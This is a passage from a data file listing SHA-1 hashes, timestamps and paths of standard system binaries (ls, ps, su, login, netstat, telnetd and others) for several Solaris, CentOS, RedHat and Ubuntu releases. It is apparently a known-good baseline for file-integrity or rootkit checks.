2008 /bin/ls [Solaris 2.10 Generic_141414-08] +BB9D3B2F85B9C4108C27C6E72FB9219EAE3A2780 Wed Jun 11 15:58:26 2008 /usr/bin/ls [Solaris 2.10 Generic_141414-08] +FB1685723025277D3C2021B209343B0BAE2F8C57 Wed Jun 11 15:58:26 2008 /usr/bin/sparcv9/ls [Solaris 2.10 Generic_141414-08] +90773588010614EAFFFC14F80CF8025C4ED9B977 Fri Oct 3 21:38:54 2008 /bin/find [Solaris 2.10 Generic_141414-08] +90773588010614EAFFFC14F80CF8025C4ED9B977 Fri Oct 3 21:38:54 2008 /usr/bin/find [Solaris 2.10 Generic_141414-08] +5F2DB0D3FA53401170294FE789E691837B1F91A9 Wed Dec 10 02:44:42 2008 /usr/sbin/in.ftpd [Solaris 2.10 Generic_141414-08] +C34F291A52233F7D2558DFBB82CC2F5676C63E2F Thu Feb 12 19:23:47 2009 /bin/su [Solaris 2.10 Generic_141414-08] +C34F291A52233F7D2558DFBB82CC2F5676C63E2F Thu Feb 12 19:23:47 2009 /usr/bin/su [Solaris 2.10 Generic_141414-08] +8BF0114E8386ACA79479A2F11D48CE044C8C3BEB Thu Jun 18 23:30:39 2009 /sbin/sh [Solaris 2.10 Generic_141414-08] +8BF0114E8386ACA79479A2F11D48CE044C8C3BEB Thu Jun 18 23:30:39 2009 /bin/sh [Solaris 2.10 Generic_141414-08] +C34F291A52233F7D2558DFBB82CC2F5676C63E2F Thu Feb 12 19:23:47 2009 /sbin/su [Solaris 2.10 Generic_141414-08] +8BF0114E8386ACA79479A2F11D48CE044C8C3BEB Thu Jun 18 23:30:39 2009 /usr/bin/sh [Solaris 2.10 Generic_141414-08] +201BA78CB4D1F9F029C66BE99395AC236D92BE9B Mon Apr 7 23:16:44 2008 /usr/sbin/inetd [Solaris 2.10 Generic_141414-08] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/w [Solaris 2.10 Generic_141414-08] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /usr/ucb/telnet [Solaris 2.10 Generic_141414-08] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/ucb/netstat [Solaris 2.10 Generic_141414-08] + +FC0B0B00EEADD218FFDE65A7EDC285661E39ECF0 Sun Jan 23 01:38:54 2005 /usr/sbin/in.ftpd [Solaris 2.10 Generic x86_64] +0F830EA25CFC9F324AA8D9092377136B658BBFCF Sun Jan 23 01:58:28 2005 /usr/sbin/in.rlogind [Solaris 2.10 Generic x86_64] +AB80D56B73548C2A7A2B13ACDBFB04D2CCB6F47E Sun Jan 23 01:58:28 2005 /usr/sbin/in.rshd [Solaris 2.10 Generic x86_64] +98D53F020ABFCEBB7D404C8F5B8B1FE4025F95F2 Sun Jan 23 02:03:24 2005 /usr/ucb/ls [Solaris 2.10 Generic x86_64] +30385903C93D44DD5AE04D04A21CF58E5E5E5DE2 Sun Jan 23 02:27:05 2005 /sbin/sh [Solaris 2.10 Generic x86_64] +7728FB75F5326CCBC7D31C9C4D278DDB9D6867FE Sun Jan 23 02:28:13 2005 /bin/login [Solaris 2.10 Generic x86_64] +7728FB75F5326CCBC7D31C9C4D278DDB9D6867FE Sun Jan 23 02:28:13 2005 /usr/bin/login [Solaris 2.10 Generic x86_64] +646ABC806A1BE12D329D1E30506561F02779172F Sun Jan 23 02:28:17 2005 /bin/su [Solaris 2.10 Generic x86_64] +646ABC806A1BE12D329D1E30506561F02779172F Sun Jan 23 02:28:17 2005 /usr/bin/su [Solaris 2.10 Generic x86_64] +6882AB19BC99ECD743165D452729CEE1CFC24DAB Sun Jan 23 02:28:12 2005 /usr/bin/i86/w [Solaris 2.10 Generic x86_64] +DCF8D221131224F1AAC2A56BAE1632153FF0D547 Sun Jan 23 02:28:05 2005 /usr/bin/amd64/w [Solaris 2.10 Generic x86_64] +6E3E9ED2AD92F0C4997CEFCE820B8E32AC2468E4 Sun Jan 23 02:28:32 2005 /usr/sbin/arp [Solaris 2.10 Generic x86_64] +36F85CF2775A46FB80DDA316BC3CB8D7D28409B1 Sun Jan 23 02:28:15 2005 /bin/rm [Solaris 2.10 Generic x86_64] +36F85CF2775A46FB80DDA316BC3CB8D7D28409B1 Sun Jan 23 02:28:15 2005 /usr/bin/rm [Solaris 2.10 Generic x86_64] +A7EE9527674974629668DF89CE1D57EB599A51DB Sun Jan 23 02:28:13 2005 /bin/ls [Solaris 2.10 Generic x86_64] +A7EE9527674974629668DF89CE1D57EB599A51DB Sun Jan 23 02:28:13 2005 /usr/bin/ls [Solaris 2.10 Generic x86_64] +CCED7DEC2BF08E7D70AB36C6132AFE2742ABF189 Sun Jan 23 02:28:09 2005 /bin/find [Solaris 2.10 Generic x86_64] +CCED7DEC2BF08E7D70AB36C6132AFE2742ABF189 Sun Jan 23 02:28:09 2005 /usr/bin/find [Solaris 2.10 Generic x86_64] +5899FF65DFB176DD94BC182FBA58F80CDB21E4BF Sun Jan 23 02:28:11 2005 /usr/bin/i86/ps [Solaris 2.10 Generic x86_64] +C910E111AB7B8EFCC3A07EC90A2BF3B76238DCA2 Sun Jan 23 02:28:04 2005 /usr/bin/amd64/ls [Solaris 2.10 Generic x86_64] +9C301BF5A2DCD4A7E81F8C0B459DA2CC1B388770 Sun Jan 23 02:28:05 2005 /usr/bin/amd64/ps [Solaris 2.10 Generic x86_64] +FCFC0287CDC3849DCAC7422BDA70CD3402C144C2 Sun Jan 23 02:28:14 2005 /bin/netstat [Solaris 2.10 Generic x86_64] +FCFC0287CDC3849DCAC7422BDA70CD3402C144C2 Sun Jan 23 02:28:14 2005 /usr/bin/netstat [Solaris 2.10 Generic x86_64] +1AF1F8957AADA5D625A0CA50EDD405275722FBD1 Sun Jan 23 02:28:35 2005 /usr/sbin/i86/modinfo [Solaris 2.10 Generic x86_64] +05E568DC9A392864711375DBBAC404D65F3CFF38 Sun Jan 23 02:28:31 2005 /usr/sbin/amd64/modinfo [Solaris 2.10 Generic x86_64] +0F28DDA880DB58BDD8701B34F190C8DBC3BBA5C9 Sun Jan 23 02:28:28 2005 /bin/ps [Solaris 2.10 Generic x86_64] +0F28DDA880DB58BDD8701B34F190C8DBC3BBA5C9 Sun Jan 23 02:28:28 2005 /bin/w [Solaris 2.10 Generic x86_64] +0F28DDA880DB58BDD8701B34F190C8DBC3BBA5C9 Sun Jan 23 02:28:28 2005 /usr/bin/ps [Solaris 2.10 Generic x86_64] +0F28DDA880DB58BDD8701B34F190C8DBC3BBA5C9 Sun Jan 23 02:28:28 2005 /usr/bin/w [Solaris 2.10 Generic x86_64] +0F28DDA880DB58BDD8701B34F190C8DBC3BBA5C9 Sun Jan 23 02:28:28 2005 /usr/sbin/modinfo [Solaris 2.10 Generic x86_64] +0F28DDA880DB58BDD8701B34F190C8DBC3BBA5C9 Sun Jan 23 02:28:28 2005 /usr/ucb/ps [Solaris 2.10 Generic x86_64] +21AD2ABA0254802631FD313E7CE09CB9F5D96165 Sun Jan 23 03:12:23 2005 /usr/sbin/in.tftpd [Solaris 2.10 Generic x86_64] +BA719DACB3E4CF0BD7152473345FCC0C3F58F133 Sun Jan 23 03:13:35 2005 /usr/sbin/in.telnetd [Solaris 2.10 Generic x86_64] +2D82121272D17634E550CA68B847BAED33837D65 Sun Jan 23 03:13:33 2005 /bin/telnet [Solaris 2.10 Generic x86_64] +2D82121272D17634E550CA68B847BAED33837D65 Sun Jan 23 03:13:33 2005 /usr/bin/telnet [Solaris 2.10 Generic x86_64] +30385903C93D44DD5AE04D04A21CF58E5E5E5DE2 Sun Jan 23 02:27:05 2005 /bin/sh [Solaris 2.10 Generic x86_64] +646ABC806A1BE12D329D1E30506561F02779172F Sun Jan 23 02:28:17 2005 /sbin/su [Solaris 2.10 Generic x86_64] +30385903C93D44DD5AE04D04A21CF58E5E5E5DE2 Sun Jan 23 02:27:05 2005 /usr/bin/sh [Solaris 2.10 Generic x86_64] +1F5E40156F213B46BBB40E6C90DB11D27443D753 Sun Jan 23 02:28:28 2005 /usr/sbin/inetd [Solaris 2.10 Generic x86_64] +0F28DDA880DB58BDD8701B34F190C8DBC3BBA5C9 Sun Jan 23 02:28:28 2005 /usr/ucb/w [Solaris 2.10 Generic x86_64] +2D82121272D17634E550CA68B847BAED33837D65 Sun Jan 23 03:13:33 2005 /usr/ucb/telnet [Solaris 2.10 Generic x86_64] +FCFC0287CDC3849DCAC7422BDA70CD3402C144C2 Sun Jan 23 02:28:14 2005 /usr/ucb/netstat [Solaris 2.10 Generic x86_64] + +FD9185AA51E08851206958C72BB167CE43378822 Tue Sep 1 11:02:38 1998 /usr/bin/sparcv9/ls [Solaris 2.7 Generic] +850288887F08A27889C5B2AB093B2832D6A61506 Tue Sep 1 11:04:16 1998 /usr/bin/sparcv9/ps [Solaris 2.7 Generic] +CD8C2B7D1AA52C630A23ABB1CCBAB1A8F1F9E10D Tue Sep 1 11:04:15 1998 /sbin/sh [Solaris 2.7 Generic] +114B804FDB7ED51E4621DD1A4BBAA1536A607E52 Tue Sep 1 11:05:27 1998 /usr/bin/sparcv9/w [Solaris 2.7 Generic] +F804A004EA61DB53D369988929D837B5DFF8935C Tue Sep 1 11:08:08 1998 /usr/sbin/in.ftpd [Solaris 2.7 Generic] +9065C6DC1D16C3C2F8C4E92CF8D06BC55E29BFF2 Tue Sep 1 11:15:36 1998 /usr/ucb/ls [Solaris 2.7 Generic] +0CA20D6861F2C7F08D6263A262B60E0AB9FF0674 Tue Oct 6 07:40:05 1998 /bin/ps [Solaris 2.7 Generic] +0CA20D6861F2C7F08D6263A262B60E0AB9FF0674 Tue Oct 6 07:40:05 1998 /bin/w [Solaris 2.7 Generic] +0CA20D6861F2C7F08D6263A262B60E0AB9FF0674 Tue Oct 6 07:40:05 1998 /usr/bin/ps [Solaris 2.7 Generic] +0CA20D6861F2C7F08D6263A262B60E0AB9FF0674 Tue Oct 6 07:40:05 1998 /usr/bin/w [Solaris 2.7 Generic] +0CA20D6861F2C7F08D6263A262B60E0AB9FF0674 Tue Oct 6 07:40:05 1998 /usr/ucb/ps [Solaris 2.7 Generic] +315B5E7D5C63A25337AF5771378D215993C0C621 Tue Oct 6 07:41:14 1998 /bin/find [Solaris 2.7 Generic] +315B5E7D5C63A25337AF5771378D215993C0C621 Tue Oct 6 07:41:14 1998 /usr/bin/find [Solaris 2.7 Generic] +39A3D7A8BCB37038C528F274186E10162E60756C Tue Oct 6 07:42:39 1998 /bin/login [Solaris 2.7 Generic] +39A3D7A8BCB37038C528F274186E10162E60756C Tue Oct 6 07:42:39 1998 /usr/bin/login [Solaris 2.7 Generic] +1AF5C066C873427A484966561BABA40EDBA23128 Tue Oct 6 07:43:05 1998 /bin/ls [Solaris 2.7 Generic] +1AF5C066C873427A484966561BABA40EDBA23128 Tue Oct 6 07:43:05 1998 /usr/bin/ls [Solaris 2.7 Generic] +9051FA3F23E3EF9E7BC521D266E6F9DFDA1D1E85 Tue Oct 6 07:44:51 1998 /usr/bin/sparcv7/ps [Solaris 2.7 Generic] +0BE3D9023D9AC2C4D5BDC2C63DCAEC2E4AD55E5A Tue Oct 6 07:44:58 1998 /bin/rm [Solaris 2.7 Generic] +0BE3D9023D9AC2C4D5BDC2C63DCAEC2E4AD55E5A Tue Oct 6 07:44:58 1998 /usr/bin/rm [Solaris 2.7 Generic] +96D8453F6D004A6E26E5BA7F1B298008330D01B3 Tue Oct 6 07:44:52 1998 /usr/sbin/modinfo [Solaris 2.7 Generic] +35BFB972AE03777DC059337DCD45E5FFF58A0B98 Tue Oct 6 07:46:04 1998 /bin/su [Solaris 2.7 Generic] +35BFB972AE03777DC059337DCD45E5FFF58A0B98 Tue Oct 6 07:46:04 1998 /usr/bin/su [Solaris 2.7 Generic] +C4CE3F88CA0F66500AE6D2FABAB076A2E0F6A1AD Tue Oct 6 07:46:05 1998 /bin/sh [Solaris 2.7 Generic] +C4CE3F88CA0F66500AE6D2FABAB076A2E0F6A1AD Tue Oct 6 07:46:05 1998 /usr/bin/sh [Solaris 2.7 Generic] +B02D486C71C174DC6745A404705463F969D6B11A Tue Oct 6 07:47:26 1998 /usr/bin/sparcv7/w [Solaris 2.7 Generic] +2457D9B07DA6FB0B534689EEED478A597C3B3D94 Tue Oct 6 07:48:55 1998 /usr/sbin/arp [Solaris 2.7 Generic] +72762248AB9AC460555DCB520DF8B0FFF07B3E17 Tue Oct 6 07:48:59 1998 /usr/sbin/in.rlogind [Solaris 2.7 Generic] +1E2DC4EF63957A277DA9823C2EB04C68B9D1463A Tue Oct 6 07:48:59 1998 /usr/sbin/in.rshd [Solaris 2.7 Generic] +1C0928EBA7231CE4DC870D18C951AC994A41E1ED Tue Oct 6 07:49:07 1998 /usr/sbin/in.tftpd [Solaris 2.7 Generic] +480C69196D6D68631F61C0A139DFD337EFA8A70E Tue Oct 6 07:49:06 1998 /usr/sbin/in.telnetd [Solaris 2.7 Generic] +BF6052BB9B886AB1D2C5A22136732666BF769BF7 Tue Oct 6 07:49:09 1998 /usr/sbin/inetd [Solaris 2.7 Generic] +92B490F6791C5F13CC6B0AAF6EE314A69424D861 Tue Oct 6 07:50:25 1998 /bin/netstat [Solaris 2.7 Generic] +92B490F6791C5F13CC6B0AAF6EE314A69424D861 Tue Oct 6 07:50:25 1998 /usr/bin/netstat [Solaris 2.7 Generic] +BC60BB35B6E52CC3BF94E0B37F74B0E4B326191E Tue Oct 6 07:50:29 1998 /bin/telnet [Solaris 2.7 Generic] +BC60BB35B6E52CC3BF94E0B37F74B0E4B326191E Tue Oct 6 07:50:29 1998 /usr/bin/telnet [Solaris 2.7 Generic] +35BFB972AE03777DC059337DCD45E5FFF58A0B98 Tue Oct 6 07:46:04 1998 /sbin/su [Solaris 2.7 Generic] +0CA20D6861F2C7F08D6263A262B60E0AB9FF0674 Tue Oct 6 07:40:05 1998 /usr/ucb/w [Solaris 2.7 Generic] +BC60BB35B6E52CC3BF94E0B37F74B0E4B326191E Tue Oct 6 07:50:29 1998 /usr/ucb/telnet [Solaris 2.7 Generic] +92B490F6791C5F13CC6B0AAF6EE314A69424D861 Tue Oct 6 07:50:25 1998 /usr/ucb/netstat [Solaris 2.7 Generic] + +1712E39DC94B53300FE64CEB0AA68DC701F0E65C Sun Jan 23 01:29:11 2005 /usr/ucb/ls [Solaris 2.10 Generic_144488-11] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /bin/login [Solaris 2.10 Generic_144488-11] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /usr/bin/login [Solaris 2.10 Generic_144488-11] +97FC02858FEBC1A825229662492EF8FB1844832F Sun Jan 23 01:48:44 2005 /usr/sbin/sparcv9/modinfo [Solaris 2.10 Generic_144488-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/ps [Solaris 2.10 Generic_144488-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/w [Solaris 2.10 Generic_144488-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/ps [Solaris 2.10 Generic_144488-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/w [Solaris 2.10 Generic_144488-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/sbin/modinfo [Solaris 2.10 Generic_144488-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/ps [Solaris 2.10 Generic_144488-11] +DE36A12846CC42C1E098A40549A3EF4ECDA1C868 Thu May 4 22:09:10 2006 /usr/bin/sparcv9/ps [Solaris 2.10 Generic_144488-11] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /bin/rm [Solaris 2.10 Generic_144488-11] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /usr/bin/rm [Solaris 2.10 Generic_144488-11] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /bin/netstat [Solaris 2.10 Generic_144488-11] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/bin/netstat [Solaris 2.10 Generic_144488-11] +CA74D0528EDC62004E1012031CD7DFDE6B4F9077 Thu Aug 16 17:23:00 2007 /usr/sbin/arp [Solaris 2.10 Generic_144488-11] +F9F01D43C2C29597F03F980D0EF1D914A1E60D6F Mon Apr 7 23:09:47 2008 /usr/sbin/in.telnetd [Solaris 2.10 Generic_144488-11] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /bin/telnet [Solaris 2.10 Generic_144488-11] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /usr/bin/telnet [Solaris 2.10 Generic_144488-11] +0249DF8DAF81051E46862459152FAB469CBEFB97 Mon Apr 7 23:13:46 2008 /usr/sbin/in.rlogind [Solaris 2.10 Generic_144488-11] +607C0342F077A6FD049145627389AA235A8AAA58 Mon Apr 7 23:13:46 2008 /usr/sbin/in.rshd [Solaris 2.10 Generic_144488-11] +BB9D3B2F85B9C4108C27C6E72FB9219EAE3A2780 Wed Jun 11 15:58:26 2008 /bin/ls [Solaris 2.10 Generic_144488-11] +BB9D3B2F85B9C4108C27C6E72FB9219EAE3A2780 Wed Jun 11 15:58:26 2008 /usr/bin/ls [Solaris 2.10 Generic_144488-11] +FB1685723025277D3C2021B209343B0BAE2F8C57 Wed Jun 11 15:58:26 2008 /usr/bin/sparcv9/ls [Solaris 2.10 Generic_144488-11] +90773588010614EAFFFC14F80CF8025C4ED9B977 Fri Oct 3 21:38:54 2008 /bin/find [Solaris 2.10 Generic_144488-11] +90773588010614EAFFFC14F80CF8025C4ED9B977 Fri Oct 3 21:38:54 2008 /usr/bin/find [Solaris 2.10 Generic_144488-11] +B7DFA864D3C684618722F902175267DDB09CFEAC Wed Sep 22 12:36:16 2010 /bin/sh [Solaris 2.10 Generic_144488-11] +7DFAEE3ABA0F42A7EC9F5A478F00E97071A09964 Wed Sep 22 12:16:47 2010 /sbin/su [Solaris 2.10 Generic_144488-11] +B7DFA864D3C684618722F902175267DDB09CFEAC Wed Sep 22 12:36:16 2010 /usr/bin/sh [Solaris 2.10 Generic_144488-11] +201BA78CB4D1F9F029C66BE99395AC236D92BE9B Mon Apr 7 23:16:44 2008 /usr/sbin/inetd [Solaris 2.10 Generic_144488-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/w [Solaris 2.10 Generic_144488-11] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /usr/ucb/telnet [Solaris 2.10 Generic_144488-11] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/ucb/netstat [Solaris 2.10 Generic_144488-11] +0D68B0A5A47E123AAC83F2F52A831290137BE5B8 Mon Aug 17 21:58:27 2009 /usr/bin/sparcv9/w [Solaris 2.10 Generic_144488-11] +8DAB48440DFF0646D478664D9445D3E8EAD0C457 Tue Aug 10 17:51:17 2010 /usr/sbin/in.tftpd [Solaris 2.10 Generic_144488-11] +7DFAEE3ABA0F42A7EC9F5A478F00E97071A09964 Wed Sep 22 12:16:47 2010 /bin/su [Solaris 2.10 Generic_144488-11] +7DFAEE3ABA0F42A7EC9F5A478F00E97071A09964 Wed Sep 22 12:16:47 2010 /usr/bin/su [Solaris 2.10 Generic_144488-11] +B7DFA864D3C684618722F902175267DDB09CFEAC Wed Sep 22 12:36:16 2010 /sbin/sh [Solaris 2.10 Generic_144488-11] +7267668BBEE1D4019951FD3DF40219E0F5155CC3 Tue Oct 19 21:30:30 2010 /usr/sbin/in.ftpd [Solaris 2.10 Generic_144488-11] + +1712E39DC94B53300FE64CEB0AA68DC701F0E65C Sun Jan 23 01:29:11 2005 /usr/ucb/ls [Solaris 2.10 Generic_141444-09] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /bin/login [Solaris 2.10 Generic_141444-09] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /usr/bin/login [Solaris 2.10 Generic_141444-09] +97FC02858FEBC1A825229662492EF8FB1844832F Sun Jan 23 01:48:44 2005 /usr/sbin/sparcv9/modinfo [Solaris 2.10 Generic_141444-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/ps [Solaris 2.10 Generic_141444-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/w [Solaris 2.10 Generic_141444-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/ps [Solaris 2.10 Generic_141444-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/w [Solaris 2.10 Generic_141444-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/sbin/modinfo [Solaris 2.10 Generic_141444-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/ps [Solaris 2.10 Generic_141444-09] +DE36A12846CC42C1E098A40549A3EF4ECDA1C868 Thu May 4 22:09:10 2006 /usr/bin/sparcv9/ps [Solaris 2.10 Generic_141444-09] +7517C58435FCEC3DA4FC086FBD451F380DF487B4 Fri Jun 30 00:39:44 2006 /usr/sbin/in.tftpd [Solaris 2.10 Generic_141444-09] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /bin/rm [Solaris 2.10 Generic_141444-09] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /usr/bin/rm [Solaris 2.10 Generic_141444-09] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /bin/netstat [Solaris 2.10 Generic_141444-09] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/bin/netstat [Solaris 2.10 Generic_141444-09] +CA74D0528EDC62004E1012031CD7DFDE6B4F9077 Thu Aug 16 17:23:00 2007 /usr/sbin/arp [Solaris 2.10 Generic_141444-09] +F9F01D43C2C29597F03F980D0EF1D914A1E60D6F Mon Apr 7 23:09:47 2008 /usr/sbin/in.telnetd [Solaris 2.10 Generic_141444-09] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /bin/telnet [Solaris 2.10 Generic_141444-09] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /usr/bin/telnet [Solaris 2.10 Generic_141444-09] +0249DF8DAF81051E46862459152FAB469CBEFB97 Mon Apr 7 23:13:46 2008 /usr/sbin/in.rlogind [Solaris 2.10 Generic_141444-09] +607C0342F077A6FD049145627389AA235A8AAA58 Mon Apr 7 23:13:46 2008 /usr/sbin/in.rshd [Solaris 2.10 Generic_141444-09] +BB9D3B2F85B9C4108C27C6E72FB9219EAE3A2780 Wed Jun 11 15:58:26 2008 /bin/ls [Solaris 2.10 Generic_141444-09] +BB9D3B2F85B9C4108C27C6E72FB9219EAE3A2780 Wed Jun 11 15:58:26 2008 /usr/bin/ls [Solaris 2.10 Generic_141444-09] +FB1685723025277D3C2021B209343B0BAE2F8C57 Wed Jun 11 15:58:26 2008 /usr/bin/sparcv9/ls [Solaris 2.10 Generic_141444-09] +90773588010614EAFFFC14F80CF8025C4ED9B977 Fri Oct 3 21:38:54 2008 /bin/find [Solaris 2.10 Generic_141444-09] +90773588010614EAFFFC14F80CF8025C4ED9B977 Fri Oct 3 21:38:54 2008 /usr/bin/find [Solaris 2.10 Generic_141444-09] +5F2DB0D3FA53401170294FE789E691837B1F91A9 Wed Dec 10 02:44:42 2008 /usr/sbin/in.ftpd [Solaris 2.10 Generic_141444-09] +C34F291A52233F7D2558DFBB82CC2F5676C63E2F Thu Feb 12 19:23:47 2009 /bin/su [Solaris 2.10 Generic_141444-09] +C34F291A52233F7D2558DFBB82CC2F5676C63E2F Thu Feb 12 19:23:47 2009 /usr/bin/su [Solaris 2.10 Generic_141444-09] +DBD3B09482A1243D0CE4613581041AAF1A59C093 Sat Jun 27 03:20:42 2009 /sbin/sh [Solaris 2.10 Generic_141444-09] +0D68B0A5A47E123AAC83F2F52A831290137BE5B8 Mon Aug 17 21:58:27 2009 /usr/bin/sparcv9/w [Solaris 2.10 Generic_141444-09] +DBD3B09482A1243D0CE4613581041AAF1A59C093 Sat Jun 27 03:20:42 2009 /bin/sh [Solaris 2.10 Generic_141444-09] +DBD3B09482A1243D0CE4613581041AAF1A59C093 Sat Jun 27 03:20:42 2009 /usr/bin/sh [Solaris 2.10 Generic_141444-09] +201BA78CB4D1F9F029C66BE99395AC236D92BE9B Mon Apr 7 23:16:44 2008 /usr/sbin/inetd [Solaris 2.10 Generic_141444-09] +C34F291A52233F7D2558DFBB82CC2F5676C63E2F Thu Feb 12 19:23:47 2009 /sbin/su [Solaris 2.10 Generic_141444-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/w [Solaris 2.10 Generic_141444-09] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /usr/ucb/telnet [Solaris 2.10 Generic_141444-09] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/ucb/netstat [Solaris 2.10 Generic_141444-09] + +B5DCD7DB3E992DEA636AA096FDC6FF9AD3B1C65D Fri Feb 27 10:20:25 2004 /usr/bin/find [CentOS 3.5] +746A00DAD1FD5C7214180E88A64DFD22B986CFED Wed Mar 17 00:15:26 2004 /bin/su [CentOS 3.5] +55D0D5F0950CCC25975FD7855AD83DAEA556DADD Wed Mar 17 00:15:37 2004 /bin/rm [CentOS 3.5] +D918905A06D42629658FB05AFD59510EA62BF2F3 Wed Mar 17 00:15:37 2004 /bin/ls [CentOS 3.5] +0D1FB3E32AF6B1EA6367F52C1B4779907E55CA6B Thu Sep 9 09:17:05 2004 /usr/sbin/xinetd [CentOS 3.5] +9486D2ECBC7AA6E5D2E351D4C0373846E01E6990 Sat Dec 11 01:30:43 2004 /sbin/modinfo [CentOS 3.5] +7E20BA54A9528FEAEE355379E28A654798C27660 Tue Mar 29 07:26:56 2005 /usr/bin/telnet [CentOS 3.5] +AC0B1B2B68951695BBD1CCAB92FB4384C90468B8 Wed Apr 13 04:44:24 2005 /sbin/arp [CentOS 3.5] +AA17939CC4F77A6F3C8DA4C046F0E746DE9E1426 Wed Apr 13 04:44:24 2005 /bin/netstat [CentOS 3.5] +33B77711E46D914F4D63D1CD82FD38AE91D43C92 Wed Apr 13 10:06:54 2005 /bin/login [CentOS 3.5] +8D40D633EF54689A0BEDA5F76B0643D16F62831B Wed May 25 01:25:40 2005 /usr/bin/w [CentOS 3.5] +07092BF363D70F81122058BDC4D87A6971BB0FC0 Wed May 25 01:25:40 2005 /bin/ps [CentOS 3.5] +184227CEF0778C65C3BE73B53DAEB04283E81789 Wed Apr 13 11:11:21 2005 /bin/sh [CentOS 3.5] + +CBBED84639A2D7A19595CD8E48E6D32CB59B978F Fri Jan 24 23:53:44 2003 /usr/bin/find [RedHat 9.0] +9B2D6E79A7F32A86A59E87841A6BEF575240DCC7 Wed Jan 29 10:55:50 2003 /usr/bin/telnet [RedHat 9.0] +7EBB4F221BD51C7448A8182FD8973E6FCDCC8185 Tue Feb 11 14:33:31 2003 /sbin/arp [RedHat 9.0] +1C9D990216D0D988E66DEDA77AD311CB83970F8D Tue Feb 11 14:33:31 2003 /bin/netstat [RedHat 9.0] +BF0C09BD712BA06D5FA5CC939220F960497B17EB Tue Feb 11 22:08:22 2003 /sbin/modinfo [RedHat 9.0] +3D3713894CCB027A467BCE35D8D4727562BE7930 Tue Feb 18 17:19:48 2003 /bin/su [RedHat 9.0] +6579E5BFF800A3BA03E8B2352D345E1A01FA6D9E Tue Feb 18 17:19:55 2003 /bin/rm [RedHat 9.0] +45929C03A7C84687A73543CC348484EDC3829496 Tue Feb 18 17:19:55 2003 /bin/ls [RedHat 9.0] +42BD4C916081976D6053E0252189F42275689622 Thu Feb 20 11:53:56 2003 /usr/bin/w [RedHat 9.0] +123CBCE23DBB61CD61F13390178B0A2FBCD190CE Thu Feb 20 11:53:56 2003 /bin/ps [RedHat 9.0] +840849BB17DE89B19FE968AE4700F570240ED0E5 Tue Feb 25 00:10:43 2003 /usr/sbin/xinetd [RedHat 9.0] +99D3A63CEEB1FC440641DB21E76DD146864EF948 Tue Feb 25 00:11:43 2003 /bin/login [RedHat 9.0] +A93F8ED65E2EBDA13F62F7611392C4A93BAC17D0 Tue Feb 11 13:34:45 2003 /bin/sh [RedHat 9.0] + +1892268BF195AC118076B1B0F53E7A637EB6FBB3 Wed Dec 16 19:34:41 2009 /bin/ps [Ubuntu 10.04] +42E7E875E2C6D9B8787388E76185DD306870E5D6 Tue Jan 12 13:03:58 2010 /usr/sbin/update-inetd [Ubuntu 10.04] +1AC8D28E4A0620AF622DC40DAFA066AAA7995B6C Tue Jan 26 17:09:45 2010 /bin/su [Ubuntu 10.04] +D2B0A66038C61A400786EC385142350B147D8782 Tue Jan 26 17:09:45 2010 